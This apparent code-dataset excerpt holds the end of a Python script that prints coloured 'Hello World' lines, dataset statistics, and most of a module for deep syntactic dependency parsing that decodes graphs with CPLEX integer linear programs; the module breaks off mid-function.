print(back.GREEN_3B + "Hello World !!!" + style.RESET)
print(back.SPRING_GREEN_3B + "Hello World !!!" + style.RESET)
print(back.SPRING_GREEN_2A + "Hello World !!!" + style.RESET)
print(back.CYAN_3 + "Hello World !!!" + style.RESET)
print(back.DARK_TURQUOISE + "Hello World !!!" + style.RESET)
print(back.TURQUOISE_2 + "Hello World !!!" + style.RESET)
print(back.GREEN_1 + "Hello World !!!" + style.RESET)
print(back.SPRING_GREEN_2B + "Hello World !!!" + style.RESET)
print(back.SPRING_GREEN_1 + "Hello World !!!" + style.RESET)
print(back.MEDIUM_SPRING_GREEN + "Hello World !!!" + style.RESET)
print(back.CYAN_2 + "Hello World !!!" + style.RESET)
print(back.CYAN_1 + "Hello World !!!" + style.RESET)
print(back.DARK_RED_1 + "Hello World !!!" + style.RESET)
print(back.DEEP_PINK_4A + "Hello World !!!" + style.RESET)
print(back.PURPLE_4A + "Hello World !!!" + style.RESET)
print(back.PURPLE_4B + "Hello World !!!" + style.RESET)
print(back.PURPLE_3 + "Hello World !!!" + style.RESET)
print(back.BLUE_VIOLET + "Hello World !!!" + style.RESET)
print(back.ORANGE_4A + "Hello World !!!" + style.RESET)
print(back.GREY_37 + "Hello World !!!" + style.RESET)
print(back.MEDIUM_PURPLE_4 + "Hello World !!!" + style.RESET)
print(back.SLATE_BLUE_3A + "Hello World !!!" + style.RESET)
print(back.SLATE_BLUE_3B + "Hello World !!!" + style.RESET)
print(back.ROYAL_BLUE_1 + "Hello World !!!" + style.RESET)
print(back.CHARTREUSE_4 + "Hello World !!!" + style.RESET)
print(back.DARK_SEA_GREEN_4A + "Hello World !!!" + style.RESET)
print(back.PALE_TURQUOISE_4 + "Hello World !!!" + style.RESET)
print(back.STEEL_BLUE + "Hello World !!!" + style.RESET)
print(back.STEEL_BLUE_3 + "Hello World !!!" + style.RESET)
print(back.CORNFLOWER_BLUE + "Hello World !!!" + style.RESET)
print(back.CHARTREUSE_3A + "Hello World !!!" + style.RESET)
print(back.DARK_SEA_GREEN_4B + "Hello World !!!" + style.RESET)
print(back.CADET_BLUE_2 + "Hello World !!!" + style.RESET)
print(back.CADET_BLUE_1 + "Hello World !!!" + style.RESET)
print(back.SKY_BLUE_3 + "Hello World !!!" + style.RESET)
print(back.STEEL_BLUE_1A + "Hello World !!!" + style.RESET)
print(back.CHARTREUSE_3B + "Hello World !!!" + style.RESET)
print(back.PALE_GREEN_3A + "Hello World !!!" + style.RESET)
print(back.SEA_GREEN_3 + "Hello World !!!" + style.RESET)
print(back.AQUAMARINE_3 + "Hello World !!!" + style.RESET)
print(back.MEDIUM_TURQUOISE + "Hello World !!!" + style.RESET)
print(back.STEEL_BLUE_1B + "Hello World !!!" + style.RESET)
print(back.CHARTREUSE_2A + "Hello World !!!" + style.RESET)
print(back.SEA_GREEN_2 + "Hello World !!!" + style.RESET)
print(back.SEA_GREEN_1A + "Hello World !!!" + style.RESET)
print(back.SEA_GREEN_1B + "Hello World !!!" + style.RESET)
print(back.AQUAMARINE_1A + "Hello World !!!" + style.RESET)
print(back.DARK_SLATE_GRAY_2 + "Hello World !!!" + style.RESET)
print(back.DARK_RED_2 + "Hello World !!!" + style.RESET)
print(back.DEEP_PINK_4B + "Hello World !!!" + style.RESET)
print(back.DARK_MAGENTA_1 + "Hello World !!!" + style.RESET)
print(back.DARK_MAGENTA_2 + "Hello World !!!" + style.RESET)
print(back.DARK_VIOLET_1A + "Hello World !!!" + style.RESET)
print(back.PURPLE_1A + "Hello World !!!" + style.RESET)
print(back.ORANGE_4B + "Hello World !!!" + style.RESET)
print(back.LIGHT_PINK_4 + "Hello World !!!" + style.RESET)
print(back.PLUM_4 + "Hello World !!!" + style.RESET)
print(back.MEDIUM_PURPLE_3A + "Hello World !!!" + style.RESET)
print(back.MEDIUM_PURPLE_3B + "Hello World !!!" + style.RESET)
print(back.SLATE_BLUE_1 + "Hello World !!!" + style.RESET)
print(back.YELLOW_4A + "Hello World !!!" + style.RESET)
print(back.WHEAT_4 + "Hello World !!!" + style.RESET)
print(back.GREY_53 + "Hello World !!!" + style.RESET)
print(back.LIGHT_SLATE_GREY + "Hello World !!!" + style.RESET)
print(back.MEDIUM_PURPLE + "Hello World !!!" + style.RESET)
print(back.LIGHT_SLATE_BLUE + "Hello World !!!" + style.RESET)
print(back.YELLOW_4B + "Hello World !!!" + style.RESET)
print(back.DARK_OLIVE_GREEN_3A + "Hello World !!!" + style.RESET)
print(back.DARK_GREEN_SEA + "Hello World !!!" + style.RESET)
print(back.LIGHT_SKY_BLUE_3A + "Hello World !!!" + style.RESET)
print(back.LIGHT_SKY_BLUE_3B + "Hello World !!!" + style.RESET)
print(back.SKY_BLUE_2 + "Hello World !!!" + style.RESET)
print(back.CHARTREUSE_2B + "Hello World !!!" + style.RESET)
print(back.DARK_OLIVE_GREEN_3B + "Hello World !!!" + style.RESET)
print(back.PALE_GREEN_3B + "Hello World !!!" + style.RESET)
print(back.DARK_SEA_GREEN_3A + "Hello World !!!" + style.RESET)
print(back.DARK_SLATE_GRAY_3 + "Hello World !!!" + style.RESET)
print(back.SKY_BLUE_1 + "Hello World !!!" + style.RESET)
print(back.CHARTREUSE_1 + "Hello World !!!" + style.RESET)
print(back.LIGHT_GREEN_2 + "Hello World !!!" + style.RESET)
print(back.LIGHT_GREEN_3 + "Hello World !!!" + style.RESET)
print(back.PALE_GREEN_1A + "Hello World !!!" + style.RESET)
print(back.AQUAMARINE_1B + "Hello World !!!" + style.RESET)
print(back.DARK_SLATE_GRAY_1 + "Hello World !!!" + style.RESET)
print(back.RED_3A + "Hello World !!!" + style.RESET)
print(back.DEEP_PINK_4C + "Hello World !!!" + style.RESET)
print(back.MEDIUM_VIOLET_RED + "Hello World !!!" + style.RESET)
print(back.MAGENTA_3A + "Hello World !!!" + style.RESET)
print(back.DARK_VIOLET_1B + "Hello World !!!" + style.RESET)
print(back.PURPLE_1B + "Hello World !!!" + style.RESET)
print(back.DARK_ORANGE_3A + "Hello World !!!" + style.RESET)
print(back.INDIAN_RED_1A + "Hello World !!!" + style.RESET)
print(back.HOT_PINK_3A + "Hello World !!!" + style.RESET)
print(back.MEDIUM_ORCHID_3 + "Hello World !!!" + style.RESET)
print(back.MEDIUM_ORCHID + "Hello World !!!" + style.RESET)
print(back.MEDIUM_PURPLE_2A + "Hello World !!!" + style.RESET)
print(back.DARK_GOLDENROD + "Hello World !!!" + style.RESET)
print(back.LIGHT_SALMON_3A + "Hello World !!!" + style.RESET)
print(back.ROSY_BROWN + "Hello World !!!" + style.RESET)
print(back.GREY_63 + "Hello World !!!" + style.RESET)
print(back.MEDIUM_PURPLE_2B + "Hello World !!!" + style.RESET)
print(back.MEDIUM_PURPLE_1 + "Hello World !!!" + style.RESET)
print(back.GOLD_3A + "Hello World !!!" + style.RESET)
print(back.DARK_KHAKI + "Hello World !!!" + style.RESET)
print(back.NAVAJO_WHITE_3 + "Hello World !!!" + style.RESET)
print(back.GREY_69 + "Hello World !!!" + style.RESET)
print(back.LIGHT_STEEL_BLUE_3 + "Hello World !!!" + style.RESET)
print(back.LIGHT_STEEL_BLUE + "Hello World !!!" + style.RESET)
print(back.YELLOW_3A + "Hello World !!!" + style.RESET)
print(back.DARK_OLIVE_GREEN_3 + "Hello World !!!" + style.RESET)
print(back.DARK_SEA_GREEN_3B + "Hello World !!!" + style.RESET)
print(back.DARK_SEA_GREEN_2 + "Hello World !!!" + style.RESET)
print(back.LIGHT_CYAN_3 + "Hello World !!!" + style.RESET)
print(back.LIGHT_SKY_BLUE_1 + "Hello World !!!" + style.RESET)
print(back.GREEN_YELLOW + "Hello World !!!" + style.RESET)
print(back.DARK_OLIVE_GREEN_2 + "Hello World !!!" + style.RESET)
print(back.PALE_GREEN_1B + "Hello World !!!" + style.RESET)
print(back.DARK_SEA_GREEN_5B + "Hello World !!!" + style.RESET)
print(back.DARK_SEA_GREEN_5A + "Hello World !!!" + style.RESET)
print(back.PALE_TURQUOISE_1 + "Hello World !!!" + style.RESET)
print(back.RED_3A + "Hello World !!!" + style.RESET)
print(back.DEEP_PINK_3A + "Hello World !!!" + style.RESET)
print(back.DEEP_PINK_3B + "Hello World !!!" + style.RESET)
print(back.MAGENTA_3B + "Hello World !!!" + style.RESET)
print(back.MAGENTA_3C + "Hello World !!!" + style.RESET)
print(back.MAGENTA_2A + "Hello World !!!" + style.RESET)
print(back.DARK_ORANGE_3B + "Hello World !!!" + style.RESET)
print(back.INDIAN_RED_1B + "Hello World !!!" + style.RESET)
print(back.HOT_PINK_3B + "Hello World !!!" + style.RESET)
print(back.HOT_PINK_2 + "Hello World !!!" + style.RESET)
print(back.ORCHID + "Hello World !!!" + style.RESET)
print(back.MEDIUM_ORCHID_1A + "Hello World !!!" + style.RESET)
print(back.ORANGE_3 + "Hello World !!!" + style.RESET)
print(back.LIGHT_SALMON_3B + "Hello World !!!" + style.RESET)
print(back.LIGHT_PINK_3 + "Hello World !!!" + style.RESET)
print(back.PINK_3 + "Hello World !!!" + style.RESET)
print(back.PLUM_3 + "Hello World !!!" + style.RESET)
print(back.VIOLET + "Hello World !!!" + style.RESET)
print(back.GOLD_3B + "Hello World !!!" + style.RESET)
print(back.LIGHT_GOLDENROD_3 + "Hello World !!!" + style.RESET)
print(back.TAN + "Hello World !!!" + style.RESET)
print(back.MISTY_ROSE_3 + "Hello World !!!" + style.RESET)
print(back.THISTLE_3 + "Hello World !!!" + style.RESET)
print(back.PLUM_2 + "Hello World !!!" + style.RESET)
print(back.YELLOW_3B + "Hello World !!!" + style.RESET)
print(back.KHAKI_3 + "Hello World !!!" + style.RESET)
print(back.LIGHT_GOLDENROD_2A + "Hello World !!!" + style.RESET)
print(back.LIGHT_YELLOW_3 + "Hello World !!!" + style.RESET)
print(back.GREY_84 + "Hello World !!!" + style.RESET)
print(back.LIGHT_STEEL_BLUE_1 + "Hello World !!!" + style.RESET)
print(back.YELLOW_2 + "Hello World !!!" + style.RESET)
print(back.DARK_OLIVE_GREEN_1A + "Hello World !!!" + style.RESET)
print(back.DARK_OLIVE_GREEN_1B + "Hello World !!!" + style.RESET)
print(back.DARK_SEA_GREEN_1 + "Hello World !!!" + style.RESET)
print(back.HONEYDEW_2 + "Hello World !!!" + style.RESET)
print(back.LIGHT_CYAN_1 + "Hello World !!!" + style.RESET)
print(back.RED_1 + "Hello World !!!" + style.RESET)
print(back.DEEP_PINK_2 + "Hello World !!!" + style.RESET)
print(back.DEEP_PINK_1A + "Hello World !!!" + style.RESET)
print(back.DEEP_PINK_1B + "Hello World !!!" + style.RESET)
print(back.MAGENTA_2B + "Hello World !!!" + style.RESET)
print(back.MAGENTA_1 + "Hello World !!!" + style.RESET)
print(back.ORANGE_RED_1 + "Hello World !!!" + style.RESET)
print(back.INDIAN_RED_1C + "Hello World !!!" + style.RESET)
print(back.INDIAN_RED_1D + "Hello World !!!" + style.RESET)
print(back.HOT_PINK_1A + "Hello World !!!" + style.RESET)
print(back.HOT_PINK_1B + "Hello World !!!" + style.RESET)
print(back.MEDIUM_ORCHID_1B + "Hello World !!!" + style.RESET)
print(back.DARK_ORANGE + "Hello World !!!" + style.RESET)
print(back.SALMON_1 + "Hello World !!!" + style.RESET)
print(back.LIGHT_CORAL + "Hello World !!!" + style.RESET)
print(back.PALE_VIOLET_RED_1 + "Hello World !!!" + style.RESET)
print(back.ORCHID_2 + "Hello World !!!" + style.RESET)
print(back.ORCHID_1 + "Hello World !!!" + style.RESET)
print(back.ORANGE_1 + "Hello World !!!" + style.RESET)
print(back.SANDY_BROWN + "Hello World !!!" + style.RESET)
print(back.LIGHT_SALMON_1 + "Hello World !!!" + style.RESET)
print(back.LIGHT_PINK_1 + "Hello World !!!" + style.RESET)
print(back.PINK_1 + "Hello World !!!" + style.RESET)
print(back.PLUM_1 + "Hello World !!!" + style.RESET)
print(back.GOLD_1 + "Hello World !!!" + style.RESET)
print(back.LIGHT_GOLDENROD_2B + "Hello World !!!" + style.RESET)
print(back.LIGHT_GOLDENROD_2C + "Hello World !!!" + style.RESET)
print(back.NAVAJO_WHITE_1 + "Hello World !!!" + style.RESET)
print(back.MISTY_ROSE1 + "Hello World !!!" + style.RESET)
print(back.THISTLE_1 + "Hello World !!!" + style.RESET)
print(back.YELLOW_1 + "Hello World !!!" + style.RESET)
print(back.LIGHT_GOLDENROD_1 + "Hello World !!!" + style.RESET)
print(back.KHAKI_1 + "Hello World !!!" + style.RESET)
print(back.WHEAT_1 + "Hello World !!!" + style.RESET)
print(back.CORNSILK_1 + "Hello World !!!" + style.RESET)
print(back.GREY_100 + "Hello World !!!" + style.RESET)
print(back.GREY_3 + "Hello World !!!" + style.RESET)
print(back.GREY_7 + "Hello World !!!" + style.RESET)
print(back.GREY_11 + "Hello World !!!" + style.RESET)
print(back.GREY_15 + "Hello World !!!" + style.RESET)
print(back.GREY_19 + "Hello World !!!" + style.RESET)
print(back.GREY_23 + "Hello World !!!" + style.RESET)
print(back.GREY_27 + "Hello World !!!" + style.RESET)
print(back.GREY_30 + "Hello World !!!" + style.RESET)
print(back.GREY_35 + "Hello World !!!" + style.RESET)
print(back.GREY_39 + "Hello World !!!" + style.RESET)
print(back.GREY_42 + "Hello World !!!" + style.RESET)
print(back.GREY_46 + "Hello World !!!" + style.RESET)
print(back.GREY_50 + "Hello World !!!" + style.RESET)
print(back.GREY_54 + "Hello World !!!" + style.RESET)
print(back.GREY_58 + "Hello World !!!" + style.RESET)
print(back.GREY_62 + "Hello World !!!" + style.RESET)
print(back.GREY_66 + "Hello World !!!" + style.RESET)
print(back.GREY_70 + "Hello World !!!" + style.RESET)
print(back.GREY_74 + "Hello World !!!" + style.RESET)
print(back.GREY_78 + "Hello World !!!" + style.RESET)
print(back.GREY_82 + "Hello World !!!" + style.RESET)
print(back.GREY_85 + "Hello World !!!" + style.RESET)
print(back.GREY_89 + "Hello World !!!" + style.RESET)
print(back.GREY_93 + "Hello World !!!" + style.RESET)
if __name__ == "__main__":
main()
| 60.8463 | 69 | 0.646604 | 4,404 | 32,066 | 4.525431 | 0.029746 | 0.256899 | 0.385349 | 0.513798 | 0.993728 | 0.993728 | 0.988961 | 0.745008 | 0.298394 | 0.060612 | 0 | 0.018297 | 0.17676 | 32,066 | 526 | 70 | 60.961977 | 0.736685 | 0.002495 | 0 | 0.003876 | 0 | 0 | 0.240408 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.001938 | true | 0 | 0.001938 | 0 | 0.003876 | 0.992248 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 9 |
a24b77a68c93bd757c4234892140fd915fa03821 | 34,414 | py | Python | dsynt/algorithm.py | FilippoC/-deep-syntactic-dependency-parsing-release | 30e2571ea930c2fd81559f5a2a971e3738cc6d39 | [
"MIT"
] | null | null | null | dsynt/algorithm.py | FilippoC/-deep-syntactic-dependency-parsing-release | 30e2571ea930c2fd81559f5a2a971e3738cc6d39 | [
"MIT"
] | null | null | null | dsynt/algorithm.py | FilippoC/-deep-syntactic-dependency-parsing-release | 30e2571ea930c2fd81559f5a2a971e3738cc6d39 | [
"MIT"
] | null | null | null | import torch
#import mip
import cplex
from dsynt.graph import Graph
def argmax_simple(weight, node_weights=None):
# get the label of maximum weight for each arc
max_values, max_indices = weight.max(dim=2)
# keep only max label arc with positive weights
pred_arcs = (max_values > 0)
# Erase all arcs going to the head
pred_arcs[:, 0] = False
# erase diagonal
pred_arcs = pred_arcs * ~torch.eye(pred_arcs.shape[0], dtype=torch.bool, device=pred_arcs.device)
nodes = None
if node_weights is not None:
nodes = 1 * (node_weights > 0).reshape(-1)
return pred_arcs, max_indices, nodes
def argmax_outgoing_arcs(arc_weights, node_weights):
# labels with max weight
max_values, max_indices = arc_weights.max(dim=2)
# select positive arcs
pred_arcs = (max_values > 0)
# Erase all arcs going to the head
pred_arcs[:, 0] = False
# erase diagonal
pred_arcs = pred_arcs * ~torch.eye(pred_arcs.shape[0], dtype=torch.bool, device=pred_arcs.device)
# sum of positive arcs for each node
outgoing_score = (max_values * pred_arcs).sum(dim=1)
# add node weights
node_weights = node_weights.reshape(-1)
node_weights2 = torch.zeros((node_weights.shape[0] + 1,), requires_grad=False, device=node_weights.device)
node_weights2[1:] = node_weights
node_score = outgoing_score + node_weights2
# selected nodes are nodes with positive score
selected_nodes = (node_score > 0)
selected_nodes[0] = True
# select correct pred arcs
pred_arcs = pred_arcs * selected_nodes.unsqueeze(1)
return pred_arcs, max_indices, selected_nodes[1:]
def is_connected(arcs):
arcs = arcs.cpu()
edges = {}
for i2 in range(arcs.shape[0]):
for j2 in range(1, arcs.shape[0]):
if i2 == j2:
continue
if not arcs[i2, j2]:
continue
i, j = min(i2, j2), max(i2, j2)
if i in edges:
edges[i].append(j)
else:
edges[i] = [j]
if j in edges:
edges[j].append(i)
else:
edges[j] = [i]
visited = set()
stack = set()
stack.add(next(iter(edges)))
while len(stack) > 0:
current = stack.pop()
visited.add(current)
for other in edges[current]:
if other not in visited:
stack.add(other)
return len(visited) == len(edges) and 0 in edges
def argmax_semi_structured(weights, node_weights, linear_relaxation=False):
n_words = node_weights.shape[0]
# get the label of maximum weight for each arc
max_values, max_indices = weights.max(dim=2)
# transform arc weights into edge weights
# the edge weights between a and b is degined as follows:
# w(a, b) > 0 and w(b, a) > 0: w(a, b) + w(b, a)
# w(a, b) <= 0 and w(b, a) > 0: w(b, a)
# w(a, b) > 0 and w(b, a) <= 0: w(a, b)
# w(a, b) <= 0 and w(b, a) <= 0: max(w(a, b), w(b, a))
t_arc_weights = max_values.transpose(0, 1)
# erase weight going to the root (first ligne because transpose)
t_arc_weights[0, :] = -float("inf")
edge_weights = torch.max(max_values + t_arc_weights, torch.max(max_values, t_arc_weights))
max_values = max_values.cpu() # required to compute output
edge_weights = edge_weights.cpu()
node_weights = node_weights.cpu()
graph = Graph(
n_words + 1,
lambda i: 0 if i == 0 else node_weights[i - 1].item(),
lambda i, j: edge_weights[i, j].item()
)
# Reduction 1:
# if w(a, b) > and w(a) > and w(b) > 0,
# the we can contract into a single node which is always selected
while True:
has_merged_something = False
for i, j in graph.arc_iterator():
if graph.arc_weight(i, j) > 0 and graph.arc_weight(i, j) + graph.node_weight(i) > 0 and graph.arc_weight(i, j) + graph.node_weight(j) > 0:
graph.merge(i, j)
has_merged_something = True
break
if not has_merged_something:
break
"""
# Reduction 2:
# if w(a, b) <= 0 and w(a) <= 0 and w(b) <= 0,
# we can remove w(a, b)
to_remove = list()
for i, j in graph.arc_iterator():
if graph.arc_weight(i, j) <= 0 and graph.node_weight(i) <= 0 and graph.node_weight(j) <= 0:
to_remove.append((i, j))
for i, j in to_remove:
graph.remove_arc(i, j)
"""
if graph.n_nodes() == 1:
pred_arcs = torch.zeros_like(max_values, dtype=torch.bool, device="cpu", requires_grad=False)
selected_nodes = torch.zeros(n_words, dtype=torch.bool, device="cpu", requires_grad=False)
o_nodes, o_arcs = graph.get_original_from_node(next(graph.node_iterator()))
for o in o_nodes:
if o > 0:
selected_nodes[o - 1] = True
for i2, j2 in o_arcs:
if i2 == 0:
pred_arcs[i2, j2] = True
elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0:
pred_arcs[i2, j2] = True
pred_arcs[j2, i2] = True
elif max_values[i2, j2] > max_values[j2, i2]:
pred_arcs[i2, j2] = True
else:
pred_arcs[j2, i2] = True
return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device)
else:
mprog = cplex.Cplex()
mprog.set_log_stream(None)
mprog.set_error_stream(None)
mprog.set_warning_stream(None)
mprog.set_results_stream(None)
mprog.objective.set_sense(mprog.objective.sense.maximize)
variables = ["x_" + str(i) for i in graph.node_iterator()]
scores = [graph.node_weight(i) for i in graph.node_iterator()]
# map node to var index
nodes = {n: i for i, n in enumerate(graph.node_iterator())}
arcs = dict()
for i, j in graph.arc_iterator():
name = "y_" + str(i) + "_" + str(j)
arcs[(i, j)] = len(variables)
variables.append(name)
scores.append(graph.arc_weight(i, j))
lb = [0] * len(variables)
ub = [1] * len(variables)
x = mprog.variables.add(
obj=scores,
lb=lb,
ub=ub,
names=variables,
types="" if linear_relaxation else [mprog.variables.type.binary] * len(scores)
)
constraing_lhd = []
constraing_rhs = []
constraing_sign = []
# forced merged nodes to 1
for i in graph.node_iterator():
if i >= graph.original_size:
constraing_lhd.append([
[nodes[i]],
[1.]
])
constraing_rhs.append(1)
constraing_sign.append("E")
# each node is forced to 1 if at least one adjacent arc
for i in graph.node_iterator():
for i2, j2 in graph.adj_arcs[i].keys():
# node >= arcs[(head, i + 1)]
constraing_lhd.append([
[nodes[i], arcs[(i2, j2)]],
[1., -1.]
])
constraing_rhs.append(0)
constraing_sign.append("G")
# each node is forced to 0 if no adjacent arc
for i in graph.node_iterator():
# node <= mip.xsum(adjacent_arcs)
adjacent_arcs = [arcs[(i2, j2)] for i2, j2 in graph.adj_arcs[i].keys()]
if len(adjacent_arcs) == 0:
continue
constraing_lhd.append([
[nodes[i]] + adjacent_arcs,
[1.] + [-1.] * len(adjacent_arcs)
])
constraing_rhs.append(0)
constraing_sign.append("L")
mprog.linear_constraints.add(
lin_expr=constraing_lhd,
senses=constraing_sign,
rhs=constraing_rhs,
)
# Solve the problem
mprog.solve()
# And print the solutions
variable_values = mprog.solution.get_values()
if linear_relaxation:
pred_arcs = torch.zeros_like(max_values, dtype=torch.float, device="cpu", requires_grad=False)
selected_nodes = torch.zeros(n_words, dtype=torch.float, device="cpu", requires_grad=False)
for (head, mod), v in arcs.items():
v = variable_values[v]
for i2, j2 in graph.get_original_from_arc(head, mod):
if i2 == 0:
pred_arcs[i2, j2] = v
elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0:
pred_arcs[i2, j2] = v
pred_arcs[j2, i2] = v
elif max_values[i2, j2] > max_values[j2, i2]:
pred_arcs[i2, j2] = v
else:
pred_arcs[j2, i2] = v
for n, i in nodes.items():
v = variable_values[i]
o_nodes, o_arcs = graph.get_original_from_node(n)
for o in o_nodes:
if o > 0:
selected_nodes[o - 1] = v
for i2, j2 in o_arcs:
if i2 == 0:
pred_arcs[i2, j2] = v
elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0:
pred_arcs[i2, j2] = v
pred_arcs[j2, i2] = v
elif max_values[i2, j2] > max_values[j2, i2]:
pred_arcs[i2, j2] = v
else:
pred_arcs[j2, i2] = v
#print(pred_arcs)
#print(selected_nodes)
return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device)
else:
pred_arcs = torch.zeros_like(max_values, dtype=torch.bool, device="cpu", requires_grad=False)
selected_nodes = torch.zeros(n_words, dtype=torch.bool, device="cpu", requires_grad=False)
for (head, mod), v in arcs.items():
if variable_values[v] > 0.99:
for i2, j2 in graph.get_original_from_arc(head, mod):
if i2 == 0:
pred_arcs[i2, j2] = True
elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0:
pred_arcs[i2, j2] = True
pred_arcs[j2, i2] = True
elif max_values[i2, j2] > max_values[j2, i2]:
pred_arcs[i2, j2] = True
else:
pred_arcs[j2, i2] = True
for n, i in nodes.items():
if variable_values[i] > 0.99:
o_nodes, o_arcs = graph.get_original_from_node(n)
for o in o_nodes:
if o > 0:
selected_nodes[o - 1] = True
for i2, j2 in o_arcs:
if i2 == 0:
pred_arcs[i2, j2] = True
elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0:
pred_arcs[i2, j2] = True
pred_arcs[j2, i2] = True
elif max_values[i2, j2] > max_values[j2, i2]:
pred_arcs[i2, j2] = True
else:
pred_arcs[j2, i2] = True
#print(pred_arcs)
#print(selected_nodes)
return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device)
def argmax_structured(weights, node_weights, linear_relaxation=False):
#if node_weights is not None:
# raise RuntimeError("Node weights not supported anymore")
n_words = node_weights.shape[0]
# get the label of maximum weight for each arc
max_values, max_indices = weights.max(dim=2)
# we first try to select all positive arcs,
# if the structure is connected, then it is the optimal solution
#simple_pred_arcs = (max_values > 0)
#simple_pred_arcs[:, 0] = False
#pred_arcs = simple_pred_arcs * ~torch.eye(simple_pred_arcs.shape[0], dtype=torch.bool, device=simple_pred_arcs.device)
#if is_connected(pred_arcs):
# return pred_arcs, max_indices, None
# transform arc weights into edge weights
# the edge weights between a and b is degined as follows:
# w(a, b) > 0 and w(b, a) > 0: w(a, b) + w(b, a)
# w(a, b) <= 0 and w(b, a) > 0: w(b, a)
# w(a, b) > 0 and w(b, a) <= 0: w(a, b)
# w(a, b) <= 0 and w(b, a) <= 0: max(w(a, b), w(b, a))
t_arc_weights = max_values.transpose(0, 1)
# erase weight going to the root (first ligne because transpose)
t_arc_weights[0, :] = -float("inf")
edge_weights = torch.max(max_values + t_arc_weights, torch.max(max_values, t_arc_weights))
max_values = max_values.cpu() # required to compute output
edge_weights = edge_weights.cpu()
node_weights = node_weights.cpu()
graph = Graph(
n_words + 1,
lambda i: 0 if i == 0 else node_weights[i - 1].item(),
lambda i, j: edge_weights[i, j].item()
)
# Reduction 1:
# if w(a, b) > and w(a) > and w(b) > 0,
# the we can contract into a single node which is always selected
while True:
has_merged_something = False
for i, j in graph.arc_iterator():
if graph.arc_weight(i, j) > 0 and graph.arc_weight(i, j) + graph.node_weight(i) > 0 and graph.arc_weight(i, j) + graph.node_weight(j) > 0:
graph.merge(i, j)
has_merged_something = True
break
if not has_merged_something:
break
if graph.n_nodes() == 1:
pred_arcs = torch.zeros_like(max_values, dtype=torch.bool, device="cpu", requires_grad=False)
selected_nodes = torch.zeros(n_words, dtype=torch.bool, device="cpu", requires_grad=False)
o_nodes, o_arcs = graph.get_original_from_node(next(graph.node_iterator()))
for o in o_nodes:
if o > 0:
selected_nodes[o - 1] = True
for i2, j2 in o_arcs:
if i2 == 0:
pred_arcs[i2, j2] = True
elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0:
pred_arcs[i2, j2] = True
pred_arcs[j2, i2] = True
elif max_values[i2, j2] > max_values[j2, i2]:
pred_arcs[i2, j2] = True
else:
pred_arcs[j2, i2] = True
return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device)
else:
if graph.root == -1:
raise RuntimeError("Root disappeared... :(")
mprog = cplex.Cplex()
mprog.set_log_stream(None)
mprog.set_error_stream(None)
mprog.set_warning_stream(None)
mprog.set_results_stream(None)
mprog.objective.set_sense(mprog.objective.sense.maximize)
variables = ["x_" + str(i) for i in graph.node_iterator()]
vtypes = [mprog.variables.type.binary] * len(variables)
lb = [0] * len(variables)
ub = [1] * len(variables)
scores = [graph.node_weight(i) for i in graph.node_iterator()]
# map node to var index
nodes = {n: i for i, n in enumerate(graph.node_iterator())}
# distance variables
distances = dict()
for n in nodes.keys():
if n != graph.root:
distances[n] = len(variables)
variables.append("d_" + str(n))
scores.append(0.)
vtypes.append(mprog.variables.type.continuous)
lb.append(2.)
ub.append(graph.n_nodes())
# edges of the "real graph"
edges = dict()
for i, j in graph.arc_iterator():
name = "y_" + str(i) + "_" + str(j)
edges[(i, j)] = len(variables)
variables.append(name)
scores.append(graph.arc_weight(i, j))
vtypes.append(mprog.variables.type.binary)
lb.append(0.)
ub.append(1.)
# arcs that ensure connectedness
arcs = dict()
for i, j in graph.arc_iterator():
if j != graph.root:
name = "a_" + str(i) + "_" + str(j)
arcs[(i, j)] = len(variables)
variables.append(name)
scores.append(0.)
vtypes.append(mprog.variables.type.binary)
lb.append(0.)
ub.append(1.)
if i != graph.root:
name = "a_" + str(j) + "_" + str(i)
arcs[(j, i)] = len(variables)
variables.append(name)
scores.append(0.)
vtypes.append(mprog.variables.type.binary)
lb.append(0.)
ub.append(1.)
x = mprog.variables.add(
obj=scores,
lb=lb,
ub=ub,
names=variables,
types="" if linear_relaxation else vtypes
)
constraing_lhd = []
constraing_rhs = []
constraing_sign = []
# constraint (1)
# w_e <= y_b
for node, var_n in nodes.items():
for i, j in graph.adj_arcs[node].keys():
constraing_lhd.append([
[edges[(i, j)], var_n],
[1., -1.]
])
constraing_rhs.append(0)
constraing_sign.append("L")
# arc can be selected only if the corresponding edge is selected
# constraint (5)
for (i, j), e in edges.items():
if i == graph.root:
constraing_lhd.append([
[arcs[(i, j)], e],
[1., -1.]
])
constraing_sign.append("L")
constraing_rhs.append(0)
elif j == graph.root:
constraing_lhd.append([
[arcs[(j, i)], e],
[1., -1.]
])
constraing_sign.append("L")
constraing_rhs.append(0)
else:
constraing_lhd.append([
[arcs[(i, j)], arcs[(j, i)], e],
[1., 1., -1.]
])
constraing_sign.append("L")
constraing_rhs.append(0)
# constraint on distance variable domain,
# we start at 2 because the root is fixed
# constraint (3)
# Useless => ensured by bounds
"""
for d in distances.values():
constraing_lhd.append([
[d],
[1.]
])
constraing_sign.append("G")
constraing_rhs.append(2.)
constraing_lhd.append([
[d],
[1.]
])
constraing_sign.append("L")
constraing_rhs.append(graph.n_nodes())
"""
# if a node is selected, it must have exactly one incoming arc
# (except for the root node)
# constraint (4)
for n, var_n in nodes.items():
if n == graph.root:
continue
v = [var_a for (i, j), var_a in arcs.items() if j == n]
constraing_lhd.append([
v + [var_n],
[1.] * len(v) + [-1.]
])
constraing_sign.append("E")
constraing_rhs.append(0.)
# (non-linear) distance constraints!
# constraints (9) and (10)
for (i, j), var_a in arcs.items():
# (9) n + d_j - d_i >= (n + 1) a_ij
# (10) n + d_i - d_j >= (n - 1) a_ij
if i == graph.root:
# root has no distance, it is implicityly set to one:
# (9) n + d_j - 1 >= (n + 1) a_ij
